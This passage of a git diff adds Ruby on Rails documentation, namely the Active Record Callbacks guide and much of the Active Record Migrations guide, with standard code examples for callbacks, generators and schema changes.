+provides rollback features. To actually create the table, you'd run `rails db:migrate`
+and to roll it back, `rails db:rollback`.
+
+Note that the above code is database-agnostic: it will run in MySQL,
+PostgreSQL, Oracle and others. You can learn more about migrations in the
+[Active Record Migrations guide](active_record_migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
new file mode 100644
index 0000000000..fc4f773e3c
--- /dev/null
+++ b/guides/source/active_record_callbacks.md
@@ -0,0 +1,459 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Callbacks
+=======================
+
+This guide teaches you how to hook into the life cycle of your Active Record
+objects.
+
+After reading this guide, you will know:
+
+* The life cycle of Active Record objects.
+* How to create callback methods that respond to events in the object life cycle.
+* How to create special classes that encapsulate common behavior for your callbacks.
+
+--------------------------------------------------------------------------------
+
+The Object Life Cycle
+---------------------
+
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data.
+
+Callbacks allow you to trigger logic before or after an alteration of an object's state.
+
+Callbacks Overview
+------------------
+
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+### Callback Registration
+
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+
+```ruby
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_validation :ensure_login_has_a_value
+
+  private
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
+    end
+end
+```
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+
+```ruby
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_create do
+    self.name = login.capitalize if name.blank?
+  end
+end
+```
+
+Callbacks can also be registered to only fire on certain life cycle events:
+
+```ruby
+class User < ApplicationRecord
+  before_validation :normalize_name, on: :create
+
+  # :on takes an array as well
+  after_validation :set_location, on: [ :create, :update ]
+
+  private
+    def normalize_name
+      self.name = name.downcase.titleize
+    end
+
+    def set_location
+      self.location = LocationService.query(self)
+    end
+end
+```
+
+It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+Available Callbacks
+-------------------
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+### Creating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_create`
+* `around_create`
+* `after_create`
+* `after_save`
+* `after_commit/after_rollback`
+
+### Updating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_update`
+* `around_update`
+* `after_update`
+* `after_save`
+* `after_commit/after_rollback`
+
+### Destroying an Object
+
+* `before_destroy`
+* `around_destroy`
+* `after_destroy`
+* `after_commit/after_rollback`
+
+WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+
+NOTE: `before_destroy` callbacks should be placed before `dependent: :destroy`
+associations (or use the `prepend: true` option), to ensure they execute before
+the records are deleted by `dependent: :destroy`.
+
+### `after_initialize` and `after_find`
+
+The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
+
+The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
+
+The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
+
+```ruby
+class User < ApplicationRecord
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+```
+
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ApplicationRecord
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ApplicationRecord
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ApplicationRecord
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
+Running Callbacks
+-----------------
+
+The following methods trigger callbacks:
+
+* `create`
+* `create!`
+* `destroy`
+* `destroy!`
+* `destroy_all`
+* `save`
+* `save!`
+* `save(validate: false)`
+* `toggle!`
+* `update_attribute`
+* `update`
+* `update!`
+* `valid?`
+
+Additionally, the `after_find` callback is triggered by the following finder methods:
+
+* `all`
+* `first`
+* `find`
+* `find_by`
+* `find_by_*`
+* `find_by_*!`
+* `find_by_sql`
+* `last`
+
+The `after_initialize` callback is triggered every time a new object of the class is initialized.
+
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+
+Skipping Callbacks
+------------------
+
+Just as with validations, it is also possible to skip callbacks by using the following methods:
+
+* `decrement`
+* `decrement_counter`
+* `delete`
+* `delete_all`
+* `increment`
+* `increment_counter`
+* `toggle`
+* `touch`
+* `update_column`
+* `update_columns`
+* `update_all`
+* `update_counters`
+
+These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+Halting Execution
+-----------------
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any callback raises an exception, the execution chain gets halted and a ROLLBACK is issued. To intentionally stop a chain use:
+
+```ruby
+throw :abort
+```
+
+WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
+
+Relational Callbacks
+--------------------
+
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model:
+
+```ruby
+class User < ApplicationRecord
+  has_many :articles, dependent: :destroy
+end
+
+class Article < ApplicationRecord
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Article destroyed'
+  end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.articles.create!
+=> #<Article id: 1, user_id: 1>
+>> user.destroy
+Article destroyed
+=> #<User id: 1>
+```
+
+Conditional Callbacks
+---------------------
+
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
+
+### Using `:if` and `:unless` with a `Symbol`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
+
+```ruby
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+```
+
+### Using `:if` and `:unless` with a `Proc`
+
+Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
+
+```ruby
+class Order < ApplicationRecord
+  before_save :normalize_card_number,
+    if: Proc.new { |order| order.paid_with_card? }
+end
+```
+
+### Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
+
+```ruby
+class Comment < ApplicationRecord
+  after_create :send_email_to_author, if: :author_wants_emails?,
+    unless: Proc.new { |comment| comment.article.ignore_comments? }
+end
+```
+
+Callback Classes
+----------------
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
+
+```ruby
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+```
+
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+
+```ruby
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks.new
+end
+```
+
+Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+
+```ruby
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+```
+
+If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
+
+```ruby
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks
+end
+```
+
+You can declare as many callbacks as you want inside your callback classes.
+
+Transaction Callbacks
+---------------------
+
+There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+
+Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
+
+```ruby
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+```
+
+By using the `after_commit` callback we can account for this case.
+
+```ruby
+class PictureFile < ApplicationRecord
+  after_commit :delete_picture_file_from_disk, on: :destroy
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+```
+
+NOTE: The `:on` option specifies when a callback will be fired. If you
+don't supply the `:on` option the callback will fire for every action.
+
+Since using `after_commit` callback only on create, update or delete is
+common, there are aliases for those operations:
+
+* `after_create_commit`
+* `after_update_commit`
+* `after_destroy_commit`
+
+```ruby
+class PictureFile < ApplicationRecord
+  after_destroy_commit :delete_picture_file_from_disk
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+```
+
+WARNING. The `after_commit` and `after_rollback` callbacks are called for all models created, updated, or destroyed within a transaction block. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will _not_ be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run.
+
+WARNING. Using `after_create_commit` and `after_update_commit` both in the same model will override the callback which was registered first amongst them.
+
+```ruby
+class User < ApplicationRecord
+  after_create_commit :log_user_saved_to_db
+  after_update_commit :log_user_saved_to_db
+
+  private
+  def log_user_saved_to_db
+    puts 'User was saved to database'
+  end
+end
+
+# prints nothing
+>> @user = User.create
+
+# updating @user
+>> @user.save
+=> User was saved to database
+```
+
+To register callbacks for both create and update actions, use `after_commit` instead.
+
+```ruby
+class User < ApplicationRecord
+  after_commit :log_user_saved_to_db, on: [:create, :update]
+end
+```
diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md
new file mode 100644
index 0000000000..7fdb5901f3
--- /dev/null
+++ b/guides/source/active_record_migrations.md
@@ -0,0 +1,1055 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Migrations
+========================
+
+Migrations are a feature of Active Record that allows you to evolve your
+database schema over time. Rather than write schema modifications in pure SQL,
+migrations allow you to use an easy Ruby DSL to describe changes to your
+tables.
+
+After reading this guide, you will know:
+
+* The generators you can use to create them.
+* The methods Active Record provides to manipulate your database.
+* The bin/rails tasks that manipulate migrations and your schema.
+* How migrations relate to `schema.rb`.
+
+--------------------------------------------------------------------------------
+
+Migration Overview
+------------------
+
+Migrations are a convenient way to
+[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
+in a consistent and easy way. They use a Ruby DSL so that you don't have to
+write SQL by hand, allowing your schema and changes to be database independent.
+
+You can think of each migration as being a new 'version' of the database. A
+schema starts off with nothing in it, and each migration modifies it to add or
+remove tables, columns, or entries. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the
+history to the latest version. Active Record will also update your
+`db/schema.rb` file to match the up-to-date structure of your database.
+
+Here's an example of a migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+```
+
+This migration adds a table called `products` with a string column called
+`name` and a text column called `description`. A primary key column called `id`
+will also be added implicitly, as it's the default primary key for all Active
+Record models. The `timestamps` macro adds two columns, `created_at` and
+`updated_at`. These special columns are automatically managed by Active Record
+if they exist.
+
+Note that we define the change that we want to happen moving forward in time.
+Before this migration is run, there will be no table. After, the table will
+exist. Active Record knows how to reverse this migration as well: if we roll
+this migration back, it will remove the table.
+
+On databases that support transactions with statements that change the schema,
+migrations are wrapped in a transaction. If the database does not support this
+then when a migration fails the parts of it that succeeded will not be rolled
+back. You will have to rollback the changes that were made by hand.
+
+NOTE: There are certain queries that can't run inside a transaction. If your
+adapter supports DDL transactions you can use `disable_ddl_transaction!` to
+disable them for a single migration.
+
+If you wish for a migration to do something that Active Record doesn't know how
+to reverse, you can use `reversible`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def change
+    reversible do |dir|
+      change_table :products do |t|
+        dir.up   { t.change :price, :string }
+        dir.down { t.change :price, :integer }
+      end
+    end
+  end
+end
+```
+
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+```
+
+Creating a Migration
+--------------------
+
+### Creating a Standalone Migration
+
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class. The name of the file is of the form
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
+should be run and in what order, so if you're copying a migration from another
+application or generate a file yourself, be aware of its position in the order.
+
+Of course, calculating timestamps is no fun, so Active Record provides a
+generator to handle making it for you:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts
+```
+
+This will create an empty but appropriately named migration:
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+  end
+end
+```
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate `add_column` and `remove_column` statements will be created.
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+```
+
+If you'd like to add an index on the new column, you can do that as well:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
+  end
+end
+```
+
+
+Similarly, you can generate a migration to remove a column from the command line:
+
+```bash
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+```
+
+generates
+
+```ruby
+class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0]
+  def change
+    remove_column :products, :part_number, :string
+  end
+end
+```
+
+You are not limited to one magically generated column. For example:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+```
+
+generates
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+```
+
+If the migration name is of the form "CreateXXX" and is
+followed by a list of column names and types then a migration creating the table
+XXX with the columns listed will be generated. For example:
+
+```bash
+$ bin/rails generate migration CreateProducts name:string part_number:string
+```
+
+generates
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+    end
+  end
+end
+```
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+
+Also, the generator accepts column type as `references` (also available as
+`belongs_to`). For instance:
+
+```bash
+$ bin/rails generate migration AddUserRefToProducts user:references
+```
+
+generates
+
+```ruby
+class AddUserRefToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_reference :products, :user, foreign_key: true
+  end
+end
+```
+
+This migration will create a `user_id` column and appropriate index.
+For more `add_reference` options, visit the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).
+
+There is also a generator which will produce join tables if `JoinTable` is part of the name:
+
+```bash
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+```
+
+will produce the following migration:
+
+```ruby
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :customers, :products do |t|
+      # t.index [:customer_id, :product_id]
+      # t.index [:product_id, :customer_id]
+    end
+  end
+end
+```
+
+### Model Generators
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running:
+
+```bash
+$ bin/rails generate model Product name:string description:text
+```
+
+will create a migration that looks like this
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+```
+
+You can append as many column name/type pairs as you want.
+
+### Passing Modifiers
+
+Some commonly used [type modifiers](#column-modifiers) can be passed directly on
+the command line. They are enclosed by curly braces and follow the field type:
+
+For instance, running:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+```
+
+will produce a migration that looks like this
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :price, :decimal, precision: 5, scale: 2
+    add_reference :products, :supplier, polymorphic: true
+  end
+end
+```
+
+TIP: Have a look at the generators help output for further details.
+
+Writing a Migration
+-------------------
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+### Creating a Table
+
+The `create_table` method is one of the most fundamental, but most of the time,
+will be generated for you from using a model or scaffold generator. A typical
+use would be
+
+```ruby
+create_table :products do |t|
+  t.string :name
+end
+```
+
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
+
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all, you
+can pass the option `id: false`. If you need to pass database specific options
+you can place an SQL fragment in the `:options` option. For example:
+
+```ruby
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+  t.string :name, null: false
+end
+```
+
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL or MariaDB, the default is `ENGINE=InnoDB`).
+
+Also you can pass the `:comment` option with any description for the table
+that will be stored in database itself and can be viewed with database administration
+tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify
+comments in migrations for applications with large databases as it helps people
+to understand data model and generate documentation.
+Currently only the MySQL and PostgreSQL adapters support comments.
+
+### Creating a Join Table
+
+The migration method `create_join_table` creates an HABTM (has and belongs to
+many) join table. A typical use would be:
+
+```ruby
+create_join_table :products, :categories
+```
+
+which creates a `categories_products` table with two columns called
+`category_id` and `product_id`. These columns have the option `:null` set to
+`false` by default. This can be overridden by specifying the `:column_options`
+option:
+
+```ruby
+create_join_table :products, :categories, column_options: { null: true }
+```
+
+By default, the name of the join table comes from the union of the first two
+arguments provided to create_join_table, in alphabetical order.
+To customize the name of the table, provide a `:table_name` option:
+
+```ruby
+create_join_table :products, :categories, table_name: :categorization
+```
+
+creates a `categorization` table.
+
+`create_join_table` also accepts a block, which you can use to add indices
+(which are not created by default) or additional columns:
+
+```ruby
+create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+```
+
+### Changing Tables
+
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object
+yielded to the block knows more tricks. For example:
+
+```ruby
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+```
+
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
+
+### Changing Columns
+
+Like the `remove_column` and `add_column` Rails provides the `change_column`
+migration method.
+
+```ruby
+change_column :products, :part_number, :text
+```
+
+This changes the column `part_number` on products table to be a `:text` field.
+Note that `change_column` command is irreversible.
+
+Besides `change_column`, the `change_column_null` and `change_column_default`
+methods are used specifically to change a not null constraint and default
+values of a column.
+
+```ruby
+change_column_null :products, :name, false
+change_column_default :products, :approved, from: true, to: false
+```
+
+This sets `:name` field on products to a `NOT NULL` column and the default
+value of the `:approved` field from true to false.
+
+Note: You could also write the above `change_column_default` migration as
+`change_column_default :products, :approved, false`, but unlike the previous
+example, this would make your migration irreversible.
+
+### Column Modifiers
+
+Column modifiers can be applied when creating or changing a column:
+
+* `limit`        Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision`    Defines the precision for the `decimal` fields, representing the
+total number of digits in the number.
+* `scale`        Defines the scale for the `decimal` fields, representing the
+number of digits after the decimal point.
+* `polymorphic`  Adds a `type` column for `belongs_to` associations.
+* `null`         Allows or disallows `NULL` values in the column.
+* `default`      Allows to set a default value on the column. Note that if you
+are using a dynamic value (such as a date), the default will only be calculated
+the first time (i.e. on the date the migration is applied).
+* `index`        Adds an index for the column.
+* `comment`      Adds a comment for the column.
+
+Some adapters may support additional options; see the adapter specific API docs
+for further information.
+
+NOTE: `null` and `default` cannot be specified via command line.
+
+### Foreign Keys
+
+While it's not required you might want to add foreign key constraints to
+[guarantee referential integrity](#active-record-and-referential-integrity).
+
+```ruby
+add_foreign_key :articles, :authors
+```
+
+This adds a new foreign key to the `author_id` column of the `articles`
+table. The key references the `id` column of the `authors` table. If the
+column names can not be derived from the table names, you can use the
+`:column` and `:primary_key` options.
+
+Rails will generate a name for every foreign key starting with
+`fk_rails_` followed by 10 characters which are deterministically
+generated from the `from_table` and `column`.
+There is a `:name` option to specify a different name if needed.
+
+NOTE: Active Record only supports single column foreign keys. `execute` and
+`structure.sql` are required to use composite foreign keys. See
+[Schema Dumping and You](#schema-dumping-and-you).
+
+Removing a foreign key is easy as well:
+
+```ruby
+# let Active Record figure out the column name
+remove_foreign_key :accounts, :branches
+
+# remove foreign key for a specific column
+remove_foreign_key :accounts, column: :owner_id
+
+# remove foreign key by name
+remove_foreign_key :accounts, name: :special_fk_name
+```
+
+### When Helpers aren't Enough
+
+If the helpers provided by Active Record aren't enough you can use the `execute`
+method to execute arbitrary SQL:
+
+```ruby
+Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")
+```
+
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `change`, `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
+and
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
+
+### Using the `change` Method
+
+The `change` method is the primary way of writing migrations. It works for the
+majority of cases, where Active Record knows how to reverse the migration
+automatically. Currently, the `change` method supports only these migration
+definitions:
+
+* add_column
+* add_foreign_key
+* add_index
+* add_reference
+* add_timestamps
+* change_column_default (must supply a :from and :to option)
+* change_column_null
+* create_join_table
+* create_table
+* disable_extension
+* drop_join_table
+* drop_table (must supply a block)
+* enable_extension
+* remove_column (must supply a type)
+* remove_foreign_key (must supply a second table)
+* remove_index
+* remove_reference
+* remove_timestamps
+* rename_column
+* rename_index
+* rename_table
+
+`change_table` is also reversible, as long as the block does not call `change`,
+`change_default` or `remove`.
+
+`remove_column` is reversible if you supply the column type as the third
+argument. Provide the original column options too, otherwise Rails can't
+recreate the column exactly when rolling back:
+
+```ruby
+remove_column :posts, :slug, :string, null: false, default: '', index: true
+```
+
+If you're going to need to use any other methods, you should use `reversible`
+or write the `up` and `down` methods instead of using the `change` method.
+
+### Using `reversible`
+
+Complex migrations may require processing that Active Record doesn't know how
+to reverse. You can use `reversible` to specify what to do when running a
+migration and what else to do when reverting it. For example:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    reversible do |dir|
+      dir.up do
+        # add a CHECK constraint
+        execute <<-SQL
+          ALTER TABLE distributors
+            ADD CONSTRAINT zipchk
+              CHECK (char_length(zipcode) = 5) NO INHERIT;
+        SQL
+      end
+      dir.down do
+        execute <<-SQL
+          ALTER TABLE distributors
+            DROP CONSTRAINT zipchk
+        SQL
+      end
+    end
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+end
+```
+
+Using `reversible` will ensure that the instructions are executed in the
+right order too. If the previous example migration is reverted,
+the `down` block will be run after the `home_page_url` column is removed and
+right before the table `distributors` is dropped.
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
+`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Using the `up`/`down` Methods
+
+You can also use the old style of migration using `up` and `down` methods
+instead of the `change` method.
+The `up` method should describe the transformation you'd like to make to your
+schema, and the `down` method of your migration should revert the
+transformations done by the `up` method. In other words, the database schema
+should be unchanged if you do an `up` followed by a `down`. For example, if you
+create a table in the `up` method, you should drop it in the `down` method. It
+is wise to perform the transformations in precisely the reverse order they were
+made in the `up` method. The example in the `reversible` section is equivalent to:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def up
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    # add a CHECK constraint
+    execute <<-SQL
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+        CHECK (char_length(zipcode) = 5);
+    SQL
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+
+    execute <<-SQL
+      ALTER TABLE distributors
+        DROP CONSTRAINT zipchk
+    SQL
+
+    drop_table :distributors
+  end
+end
+```
+
+If your migration is irreversible, you should raise
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Reverting Previous Migrations
+
+You can use Active Record's ability to rollback migrations using the `revert` method:
+
+```ruby
+require_relative '20121212123456_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert ExampleMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+```
+
+The `revert` method also accepts a block of instructions to reverse.
+This could be useful to revert selected parts of previous migrations.
+For example, let's imagine that `ExampleMigration` is committed and it
+is later decided it would be best to use Active Record validations,
+in place of the `CHECK` constraint, to verify the zipcode.
+
+```ruby
+class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert do
+      # copy-pasted code from ExampleMigration
+      reversible do |dir|
+        dir.up do
+          # add a CHECK constraint
+          execute <<-SQL
+            ALTER TABLE distributors
+              ADD CONSTRAINT zipchk
+                CHECK (char_length(zipcode) = 5);
+          SQL
+        end
+        dir.down do
+          execute <<-SQL
+            ALTER TABLE distributors
+              DROP CONSTRAINT zipchk
+          SQL
+        end
+      end
+
+      # The rest of the migration was ok
+    end
+  end
+end
+```
+
+The same migration could also have been written without using `revert`
+but this would have involved a few more steps: reversing the order
+of `create_table` and `reversible`, replacing `create_table`
+by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+This is all taken care of by `revert`.
+
+NOTE: If you want to add check constraints like in the examples above,
+you will have to use `structure.sql` as dump method. See
+[Schema Dumping and You](#schema-dumping-and-you).
+
+Running Migrations
+------------------
+
+Rails provides a set of bin/rails tasks to run certain sets of migrations.
+
+The very first migration related bin/rails task you will use will probably be
